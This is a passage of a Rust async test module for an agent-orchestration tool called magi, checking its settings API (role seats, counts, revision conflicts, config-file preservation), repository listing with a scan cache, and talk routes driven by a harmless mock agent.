14395        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14396        let before = std::fs::read(&machine).unwrap();
14397        let ui = Arc::new(
14398            Ui::new(
14399                Queue::at(tmp.path().join("queue")),
14400                Questions::at(tmp.path().join("questions")),
14401                Talks::at(tmp.path().join("talks")),
14402                tmp.path().join("runs"),
14403                tmp.path().to_path_buf(),
14404                repo.clone(),
14405            )
14406            .with_machine_config(Some(machine.clone())),
14407        );
14408        let query = || {
14409            Query(SettingsQuery {
14410                repo: Some(selected.clone()),
14411            })
14412        };
14413        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14414        assert!(v.error.is_none(), "{:?}", v.error);
14415        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14416        assert_eq!(conductor.source, "repo");
14417        assert_eq!(
14418            conductor.machine_value,
14419            Some(toml::Value::String("a".into()))
14420        );
14421        assert!(!conductor.editable);
14422        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14423        assert_eq!(
14424            judges.count.as_ref().unwrap().machine_value,
14425            Some(toml::Value::Integer(1))
14426        );
14427        assert!(
14428            !v.roles
14429                .iter()
14430                .find(|r| r.key == "reviewers")
14431                .unwrap()
14432                .editable
14433        );
14434        let unknown = || {
14435            Query(SettingsQuery {
14436                repo: Some(tmp.path().to_path_buf()),
14437            })
14438        };
14439        assert_eq!(
14440            settings_get(State(ui.clone()), unknown())
14441                .await
14442                .unwrap_err()
14443                .status,
14444            StatusCode::UNPROCESSABLE_ENTITY
14445        );
14446        let body = || {
14447            Ok(Json(RolesBody {
14448                revision: v.revision.clone(),
14449                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14450                counts: Default::default(),
14451            }))
14452        };
14453        assert_eq!(
14454            settings_put_roles(State(ui.clone()), unknown(), body())
14455                .await
14456                .unwrap_err()
14457                .status,
14458            StatusCode::UNPROCESSABLE_ENTITY
14459        );
14460        assert_eq!(std::fs::read(&machine).unwrap(), before);
14461        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14462            .await
14463            .unwrap();
14464        assert_eq!(
14465            saved.repo,
14466            selected.canonicalize().unwrap().display().to_string()
14467        );
14468        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14469        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14470        // A cache miss refreshes the stable candidate list exactly for validation.
14471        let fresh = root.join("host/owner/fresh");
14472        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14473        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14474            .await
14475            .unwrap();
14476        assert_eq!(fresh_view.repositories.len(), 3);
14477    }
14478
14479    #[tokio::test]
14480    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14481        let (tmp, repo, machine) = settings_dirs(
14482            "[roles]\nreviewers = [\"a\"]\n",
14483            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14484        );
14485        let root = tmp.path().join("roots");
14486        let selected = root.join("host/owner/selected");
14487        settings_checkout(
14488            &selected,
14489            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14490        )
14491        .await;
14492        let broken = root.join("host/owner/broken");
14493        settings_checkout(&broken, "[roles\nbroken").await;
14494        let machine_text = format!(
14495            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14496            toml::Value::String(root.display().to_string())
14497        );
14498        std::fs::write(&machine, &machine_text).unwrap();
14499        let originals: Vec<_> = [&repo, &selected, &broken]
14500            .iter()
14501            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14502            .collect();
14503        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14504        let default = f.get("/api/settings").await.json();
14505        assert_eq!(
14506            default["repo"],
14507            repo.canonicalize().unwrap().display().to_string()
14508        );
14509        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14510        let query = format!("?repo={}", selected.display());
14511        let res = f.get(&format!("/api/settings{query}")).await;
14512        assert_eq!(res.status, 200, "{}", res.body);
14513        let v = res.json();
14514        assert!(v["error"].is_null(), "{v}");
14515        assert_eq!(v["repositories"], default["repositories"]);
14516        let role = |key: &str| {
14517            v["roles"]
14518                .as_array()
14519                .unwrap()
14520                .iter()
14521                .find(|r| r["key"] == key)
14522                .unwrap()
14523        };
14524        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14525        assert_eq!(role("advisors")["source"], "repo");
14526        assert_eq!(role("advisors")["editable"], false);
14527        assert!(role("advisors")["machine_value"].is_null());
14528        assert_eq!(role("judges")["count"]["value"], 2);
14529        assert_eq!(role("judges")["count"]["machine_value"], 1);
14530        assert_eq!(role("judges")["count"]["source"], "repo");
14531        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14532        assert!(
14533            source.contains("origin/main") && !source.contains("magi/config/"),
14534            "{source}"
14535        );
14536        assert_eq!(
14537            role("reviewers")["editable"],
14538            false,
14539            "default context outside roots must protect its declarations"
14540        );
14541        let body =
14542            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14543        let unknown = format!("?repo={}", tmp.path().display());
14544        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14545        assert_eq!(
14546            f.put(&format!("/api/settings/roles{unknown}"), &body)
14547                .await
14548                .status,
14549            422
14550        );
14551        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14552        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14553            .to_string();
14554        assert_eq!(
14555            f.put(&format!("/api/settings/roles{query}"), &refuse)
14556                .await
14557                .status,
14558            422
14559        );
14560        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14561        assert_eq!(saved.status, 200, "{}", saved.body);
14562        assert_eq!(saved.json()["repo"], v["repo"]);
14563        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14564        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14565        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14566            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14567        }
14568        let error = f
14569            .get(&format!("/api/settings?repo={}", broken.display()))
14570            .await;
14571        assert_eq!(error.status, 200);
14572        assert!(error.json()["error"]["message"].is_string());
14573        assert_eq!(error.json()["repositories"], default["repositories"]);
14574    }
14575
14576    #[tokio::test]
14577    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14578        let (_tmp, repo, machine) =
14579            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14580        let f = Fixture::with_repo_and_machine(repo, machine).await;
14581        let res = f.get("/api/settings").await;
14582        assert_eq!(res.status, 200, "{}", res.body);
14583        let v = res.json();
14584        assert!(v["error"].is_null(), "{v}");
14585        let role = |k: &str| {
14586            v["roles"]
14587                .as_array()
14588                .and_then(|r| r.iter().find(|x| x["key"] == k))
14589                .cloned()
14590                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14591        };
14592        assert_eq!(role("judges")["source"], "machine");
14593        assert_eq!(role("judges")["editable"], true);
14594        assert_eq!(role("implementers")["source"], "default");
14595        let adv = role("advisors");
14596        assert_eq!(adv["fallback"], "judges");
14597        assert!(
14598            adv["seats"]
14599                .as_array()
14600                .is_some_and(|s| s.iter().all(|x| x == "b")),
14601            "{adv}"
14602        );
14603        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14604        assert_eq!(v["agents"][0]["source"], "repo");
14605    }
14606
14607    #[tokio::test]
14608    async fn settings_get_reports_a_config_that_does_not_parse() {
14609        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14610        let f = Fixture::with_repo_and_machine(repo, machine).await;
14611        let res = f.get("/api/settings").await;
14612        assert_eq!(res.status, 200, "{}", res.body);
14613        let v = res.json();
14614        assert!(v["error"]["message"].is_string(), "{v}");
14615        assert!(
14616            v["error"]["path"]
14617                .as_str()
14618                .is_some_and(|p| p.ends_with("magi.toml")),
14619            "{v}"
14620        );
14621        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14622    }
14623
14624    #[tokio::test]
14625    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14626        let (_tmp, repo, machine) = settings_dirs(
14627            SETTINGS_AGENTS,
14628            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14629        );
14630        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14631        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14632        let rev = f.get("/api/settings").await.json()["revision"]
14633            .as_str()
14634            .expect("revision")
14635            .to_owned();
14636        let body = serde_json::json!({
14637            "revision": rev,
14638            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14639        })
14640        .to_string();
14641        let res = f.put("/api/settings/roles", &body).await;
14642        assert_eq!(res.status, 200, "{}", res.body);
14643        let text = std::fs::read_to_string(&machine).expect("machine");
14644        assert_eq!(
14645            text,
14646            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14647        );
14648        assert_eq!(
14649            std::fs::read(repo.join("magi.toml")).expect("read"),
14650            repo_before
14651        );
14652        let again = f.get("/api/settings").await.json();
14653        let judges = again["roles"]
14654            .as_array()
14655            .expect("roles")
14656            .iter()
14657            .find(|r| r["key"] == "judges")
14658            .expect("judges")
14659            .clone();
14660        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14661        // The old revision is now stale.
14662        let stale = f.put("/api/settings/roles", &body).await;
14663        assert_eq!(stale.status, 409, "{}", stale.body);
14664    }
14665
14666    #[tokio::test]
14667    async fn settings_counts_are_reported_and_saved() {
14668        let (_tmp, repo, machine) = settings_dirs(
14669            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14670            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14671        );
14672        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14673        let v = f.get("/api/settings").await.json();
14674        let count = |v: &serde_json::Value, k: &str| {
14675            v["roles"]
14676                .as_array()
14677                .and_then(|r| r.iter().find(|x| x["key"] == k))
14678                .map(|x| x["count"].clone())
14679                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14680        };
14681        let imp = count(&v, "implementers");
14682        assert_eq!(imp["value"], 2);
14683        assert_eq!(imp["source"], "machine");
14684        assert_eq!(imp["file_key"], "candidates");
14685        assert_eq!(imp["roster_len"], 2);
14686        assert_eq!(imp["backups"], 0);
14687        assert_eq!(count(&v, "judges")["source"], "default");
14688        assert_eq!(count(&v, "advisors")["min"], 0);
14689        assert_eq!(count(&v, "reviewers")["editable"], false);
14690        assert!(
14691            count(&v, "reviewers")["locked_reason"]
14692                .as_str()
14693                .is_some_and(|m| m.contains("graph.reviewers"))
14694        );
14695        assert!(count(&v, "fixer").is_null());
14696        let rev = v["revision"].as_str().expect("revision").to_owned();
14697        let body = serde_json::json!({
14698            "revision": rev,
14699            "roles": { "judges": ["b"] },
14700            "counts": { "implementers": 1, "advisors": 0 }
14701        })
14702        .to_string();
14703        let res = f.put("/api/settings/roles", &body).await;
14704        assert_eq!(res.status, 200, "{}", res.body);
14705        let text = std::fs::read_to_string(&machine).expect("machine");
14706        assert_eq!(
14707            text,
14708            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14709        );
14710        let after = f.get("/api/settings").await.json();
14711        assert_eq!(count(&after, "implementers")["value"], 1);
14712        assert_eq!(count(&after, "implementers")["backups"], 1);
14713        assert_eq!(count(&after, "advisors")["value"], 0);
14714        let before = std::fs::read_to_string(&machine).expect("machine");
14715        let rev = after["revision"].as_str().expect("revision").to_owned();
14716        for counts in [
14717            serde_json::json!({ "judges": 0 }),
14718            serde_json::json!({ "judges": "x" }),
14719            serde_json::json!({ "judges": 2.5 }),
14720            serde_json::json!({ "judges": -1 }),
14721            serde_json::json!({ "reviewers": 3 }),
14722            serde_json::json!({ "bogus": 3 }),
14723        ] {
14724            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14725            let res = f.put("/api/settings/roles", &body).await;
14726            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14727            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14728        }
14729    }
14730
14731    #[tokio::test]
14732    async fn settings_put_refuses_without_touching_the_file() {
14733        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14734        let (_tmp, repo, machine) = settings_dirs(
14735            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14736            Some(machine_text),
14737        );
14738        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14739        let rev = f.get("/api/settings").await.json()["revision"]
14740            .as_str()
14741            .expect("revision")
14742            .to_owned();
14743        for roles in [
14744            serde_json::json!({ "judges": ["nope"] }),
14745            serde_json::json!({ "reviewers": ["b"] }),
14746            serde_json::json!({ "bogus": ["a"] }),
14747        ] {
14748            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14749            let res = f.put("/api/settings/roles", &body).await;
14750            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14751            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14752            assert_eq!(
14753                std::fs::read_to_string(&machine).expect("machine"),
14754                machine_text
14755            );
14756        }
14757    }
14758
14759    #[tokio::test]
14760    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14761        let tmp = TempDir::new().expect("tempdir");
14762        let repo = tmp.path().join("repo");
14763        std::fs::create_dir_all(&repo).expect("repo dir");
14764        let root = tmp.path().join("root");
14765        make_checkout(&root, "github.com", "yukimemi", "magi");
14766        std::fs::write(
14767            repo.join("magi.toml"),
14768            format!(
14769                "[repos]\nroots = [{:?}]\n",
14770                root.to_string_lossy().into_owned()
14771            ),
14772        )
14773        .expect("write magi.toml");
14774
14775        let f = Fixture::with_repo(repo).await;
14776        let res = f.get("/api/repos").await;
14777        assert_eq!(res.status, 200, "{}", res.body);
14778        let list = res.json();
14779        let repos = list.as_array().expect("an array");
14780        assert_eq!(repos.len(), 1);
14781        assert_eq!(repos[0]["name"], "yukimemi/magi");
14782        assert!(
14783            repos[0]["path"]
14784                .as_str()
14785                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14786            "{list}"
14787        );
14788    }
14789
14790    #[tokio::test]
14791    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14792        let tmp = TempDir::new().expect("tempdir");
14793        let repo = tmp.path().join("repo");
14794        std::fs::create_dir_all(&repo).expect("repo dir");
14795        let root = tmp.path().join("root");
14796        make_checkout(&root, "github.com", "yukimemi", "magi");
14797        std::fs::write(
14798            repo.join("magi.toml"),
14799            format!(
14800                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14801                root.to_string_lossy().into_owned()
14802            ),
14803        )
14804        .expect("write magi.toml");
14805
14806        let f = Fixture::with_repo(repo).await;
14807        let first = f.get("/api/repos").await;
14808        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14809
14810        // A second checkout appears; within the TTL the cached answer must
14811        // not notice it.
14812        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14813        let second = f.get("/api/repos").await;
14814        assert_eq!(
14815            second.json().as_array().map(Vec::len),
14816            Some(1),
14817            "a fresh cache must not rescan inside the TTL"
14818        );
14819
14820        let refreshed = f.get("/api/repos?refresh=1").await;
14821        assert_eq!(
14822            refreshed.json().as_array().map(Vec::len),
14823            Some(2),
14824            "an explicit refresh must rescan even inside the TTL"
14825        );
14826    }
14827
14828    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14829    /// string, declared straight in a repository's own `magi.toml` rather
14830    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14831    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14832    /// this is safe to run over a real HTTP round trip.
14833    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14834
14835    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14836    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14837    /// even though it takes no turn, and `talk_say` invokes one.
14838    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14839        let tmp = TempDir::new().expect("tempdir");
14840        let repo = tmp.path().join("repo");
14841        std::fs::create_dir_all(&repo).expect("repo dir");
14842        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14843        let f = Fixture::with_repo(repo.clone()).await;
14844        (tmp, repo, f)
14845    }
14846
14847    #[tokio::test]
14848    async fn posting_a_talk_with_remembered_choices_is_soft() {
14849        let (_tmp, _repo, f) = talk_fixture().await;
14850
14851        let good = f
14852            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14853            .await;
14854        assert_eq!(good.status, 201, "{}", good.body);
14855        assert_eq!(good.json()["persona"], "rei");
14856
14857        // Wrong values and wrong types are dropped one by one, never a 4xx.
14858        let stale = f
14859            .post(
14860                "/api/talks",
14861                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14862            )
14863            .await;
14864        assert_eq!(stale.status, 201, "{}", stale.body);
14865        let v = stale.json();
14866        assert_eq!(v["implementers"], 1);
14867        assert_ne!(v["persona"], "nobody");
14868        let typed = f
14869            .post(
14870                "/api/talks",
14871                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14872            )
14873            .await;
14874        assert_eq!(typed.status, 201, "{}", typed.body);
14875
14876        // The strict `agent` field still refuses an unknown id.
14877        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14878        assert!(
14879            !strict.status.to_string().starts_with('2'),
14880            "{}",
14881            strict.body
14882        );
14883    }
14884
14885    #[tokio::test]
14886    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14887        let (_tmp, _repo, f) = talk_fixture().await;
14888
14889        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14890        // is the ordinary way a phone opens a talk.
14891        let opened = f.post("/api/talks", None).await;
14892        assert_eq!(opened.status, 201, "{}", opened.body);
14893        let body = opened.json();
14894        assert_eq!(body["status"], "open");
14895        assert_eq!(
14896            body["turns"].as_array().unwrap().len(),
14897            0,
14898            "opening takes no agent turn: there is nothing yet to answer"
14899        );
14900
14901        // An explicit empty object is the same request as none at all.
14902        let also_opened = f.post("/api/talks", Some("{}")).await;
14903        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14904
14905        let listed = f.get("/api/talks").await.json();
14906        assert_eq!(listed.as_array().unwrap().len(), 2);
14907    }
14908
14909    #[tokio::test]
14910    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14911        let tmp = TempDir::new().expect("tempdir");
14912        let repo = tmp.path().join("repo");
14913        std::fs::create_dir_all(&repo).expect("repo dir");
14914        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14915        std::fs::write(
14916            repo.join("magi.toml"),
14917            format!("{MOCK_AGENT_TOML}\n{second}"),
14918        )
14919        .expect("write magi.toml");
14920        let home = TempDir::new().expect("temp home");
14921        let talks = Talks::at(home.path().join("talks"));
14922        let ui = Arc::new(
14923            Ui::new(
14924                Queue::at(home.path().join("queue")),
14925                Questions::at(home.path().join("questions")),
14926                talks.clone(),
14927                home.path().join("runs"),
14928                home.path().to_path_buf(),
14929                repo.clone(),
14930            )
14931            .with_worktrees_root(home.path().join("wt")),
14932        );
14933        let cfg = config_for(&repo).await.expect("discover config");
14934        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14935        let id = talk.id.clone();
14936        let call = |agent: &str| {
14937            talk_agent(
14938                State(Arc::clone(&ui)),
14939                Path(id.clone()),
14940                Json(TalkAgent {
14941                    agent: agent.to_owned(),
14942                }),
14943            )
14944        };
14945
14946        let unknown = call("nobody").await.expect_err("unknown agent");
14947        assert_eq!(
14948            unknown.status,
14949            StatusCode::BAD_REQUEST,
14950            "{}",
14951            unknown.message
14952        );
14953
14954        {
14955            // Nothing refused so far took a claim, so the guard is free to take
14956            // and holding it is what makes the talk busy.
14957            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14958            let busy = call("second").await.expect_err("busy talk");
14959            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14960            assert!(
14961                busy.message.contains("a talk turn is running"),
14962                "{}",
14963                busy.message
14964            );
14965            drop(guard);
14966        }
14967        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14968
14969        let Json(view) = call("second").await.expect("switch");
14970        assert_eq!(view.talk.agent, "second");
14971        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14972        let saved = talks.get(&id).expect("reload");
14973        assert_eq!(saved.agent, "second");
14974        assert_eq!(saved.turns.len(), 1);
14975        assert!(!view.thinking);
14976        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14977        for agent in ["mock", "second"] {
14978            let Json(view) = call(agent).await.expect("immediate consecutive change");
14979            assert_eq!(view.talk.agent, agent);
14980            assert!(!view.thinking);
14981            assert!(!ui.is_thinking(&id));
14982        }
14983
14984        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14985            .await
14986            .expect("detail");
14987        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14988        assert_eq!(roster, ["mock", "second"]);
14989
14990        let mut closed = talks.get(&id).expect("reload");
14991        talk::close(&mut closed, &talks).expect("close");
14992        let refused = call("mock").await.expect_err("closed talk");
14993        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14994        assert!(
14995            refused.message.contains("takes no more turns"),
14996            "{}",
14997            refused.message
14998        );
14999    }
15000
15001    #[tokio::test]
15002    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15003        let tmp = TempDir::new().expect("tempdir");
15004        let repo = tmp.path().join("repo");
15005        std::fs::create_dir_all(&repo).expect("repo dir");
15006        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15007        let home = TempDir::new().expect("temp home");
15008        let talks = Talks::at(home.path().join("talks"));
15009        let ui = Arc::new(
15010            Ui::new(
15011                Queue::at(home.path().join("queue")),
15012                Questions::at(home.path().join("questions")),
15013                talks.clone(),
15014                home.path().join("runs"),
15015                home.path().to_path_buf(),
15016                repo.clone(),
15017            )
15018            .with_worktrees_root(home.path().join("wt")),
15019        );
15020        let cfg = config_for(&repo).await.expect("discover config");
15021        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15022        let id = talk.id.clone();
15023        let call = |n: u8| {
15024            talk_implementers(
15025                State(Arc::clone(&ui)),
15026                Path(id.clone()),
15027                Json(TalkImplementers { implementers: n }),
15028            )
15029        };
15030
15031        for bad in [0u8, 4] {
15032            let e = call(bad).await.expect_err("out of range");
15033            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15034        }
15035        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15036
15037        {
15038            // Nothing refused so far took a claim, so the guard is free to take
15039            // and holding it is what makes the talk busy.
15040            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15041            let busy = call(2).await.expect_err("busy talk");
15042            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15043            assert!(
15044                busy.message.contains("a talk turn is running"),
15045                "{}",
15046                busy.message
15047            );
15048            drop(guard);
15049        }
15050
15051        let Json(view) = call(3).await.expect("switch");
15052        assert_eq!(view.talk.implementers, 3);
15053        assert!(talks.get(&id).expect("reload").implementers_dirty);
15054        assert!(!view.thinking);
15055        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15056        for n in [1, 2, 3] {
15057            let Json(view) = call(n).await.expect("immediate consecutive change");
15058            assert_eq!(view.talk.implementers, n);
15059            assert!(!view.thinking);
15060            assert!(!ui.is_thinking(&id));
15061        }
15062
15063        let mut closed = talks.get(&id).expect("reload");
15064        talk::close(&mut closed, &talks).expect("close");
15065        let e = call(2).await.expect_err("closed talk");
15066        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15067        assert!(e.message.contains("takes no more turns"), "{}", e.message);
15068    }
15069
15070    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
15071    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15072        let tmp = TempDir::new().expect("tempdir");
15073        let repo = tmp.path().join("repo");
15074        std::fs::create_dir_all(&repo).expect("repo dir");
15075        std::fs::write(
15076            repo.join("magi.toml"),
15077            format!("{MOCK_AGENT_TOML}\n{extra}"),
15078        )
15079        .expect("write magi.toml");
15080        let home = TempDir::new().expect("temp home");
15081        let talks = Talks::at(home.path().join("talks"));
15082        let ui = Arc::new(
15083            Ui::new(
15084                Queue::at(home.path().join("queue")),
15085                Questions::at(home.path().join("questions")),
15086                talks.clone(),
15087                home.path().join("runs"),
15088                home.path().to_path_buf(),
15089                repo.clone(),
15090            )
15091            .with_worktrees_root(home.path().join("wt")),
15092        );
15093        let cfg = config_for(&repo).await.expect("discover config");
15094        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15095        (tmp, home, ui, talk.id, repo)
15096    }
15097
15098    #[tokio::test]
15099    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15100        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15101        let mut conversation = ui.talks.get(&id).unwrap();
15102        talk::record(
15103            &mut conversation,
15104            &ui.talks,
15105            "# Update on a task you filed\noperator words",
15106            vec![],
15107        )
15108        .unwrap();
15109        // Simulate an old operator record; headings do not prove authorship.
15110        conversation.turns[0].sender = None;
15111        conversation.turns[0].messages.clear();
15112        ui.talks.put(&mut conversation).unwrap();
15113        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15114        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15115        talk::drain(&mut conversation, &ui.talks).unwrap();
15116        talk::record_reply(
15117            &mut conversation,
15118            &ui.talks,
15119            "about that report",
15120            vec![],
15121            Some(talk::ReplyTarget {
15122                turn: 1,
15123                message: 1,
15124            }),
15125        )
15126        .unwrap();
15127        conversation.turns[2].messages[0]
15128            .reply
15129            .as_mut()
15130            .unwrap()
15131            .sender = None;
15132        conversation.turns.push(talk::Turn {
15133            sender: Some(talk::Sender::Persona),
15134            who: talk::Who::Agent,
15135            body: "magi: actual persona words".into(),
15136            at: Timestamp::now(),
15137            attachments: vec![],
15138            usage: None,
15139            breaks: None,
15140            messages: vec![],
15141            posted_by: None,
15142        });
15143        ui.talks.put(&mut conversation).unwrap();
15144        let view = TalkView::with_config(
15145            ui.talks.get(&id).unwrap(),
15146            false,
15147            None,
15148            &ui.home,
15149            &ui.references,
15150        );
15151        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15152        assert_eq!(
15153            view.talk.turns[1].messages[0].sender,
15154            Some(talk::Sender::Operator)
15155        );
15156        assert_eq!(
15157            view.talk.turns[1].messages[1].sender,
15158            Some(talk::Sender::Magi)
15159        );
15160        assert_eq!(
15161            view.talk.turns[2].messages[0]
15162                .reply
15163                .as_ref()
15164                .unwrap()
15165                .sender,
15166            Some(talk::Sender::Magi)
15167        );
15168        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15169        assert_eq!(view.turn_messages_md[0].len(), 1);
15170        assert!(view.turn_messages_md[0][0].is_none());
15171        assert!(view.turn_messages_md[1][0].is_none());
15172        assert!(view.turn_messages_md[1][1].is_some());
15173    }
15174
15175    #[tokio::test]
15176    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15177        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15178        let mut conversation = ui.talks.get(&id).unwrap();
15179        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15180        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15181        talk::queue_notice(
15182            &mut conversation,
15183            &ui.talks,
15184            &body,
15185            "watch:123",
15186            &|_| false,
15187            crate::chat_control::standing::Event::Watch {
15188                id: "watch-123".into(),
15189            },
15190            display.clone(),
15191        )
15192        .unwrap();
15193        assert!(
15194            !talk::queue_notice(
15195                &mut conversation,
15196                &ui.talks,
15197                &body,
15198                "watch:123",
15199                &|_| false,
15200                crate::chat_control::standing::Event::Watch {
15201                    id: "watch-123".into()
15202                },
15203                display.clone()
15204            )
15205            .unwrap()
15206        );
15207        let saved = ui.talks.get(&id).unwrap();
15208        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15209        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15210        assert!(
15211            view.talk.turns[0].messages[0].display.is_none(),
15212            "operator copy stays literal"
15213        );
15214        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15215        assert!(view.turn_messages_md[0][0].is_none());
15216        let queued_md = view.pending_messages_md[0].clone();
15217        assert_eq!(
15218            queued_md,
15219            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15220        );
15221        talk::drain(&mut conversation, &ui.talks).unwrap();
15222        talk::record_reply(
15223            &mut conversation,
15224            &ui.talks,
15225            "Explain",
15226            vec![],
15227            Some(talk::ReplyTarget {
15228                turn: 1,
15229                message: 0,
15230            }),
15231        )
15232        .unwrap();
15233        let mut saved = ui.talks.get(&id).unwrap();
15234        assert_eq!(saved.turns[1].messages[0].body, body);
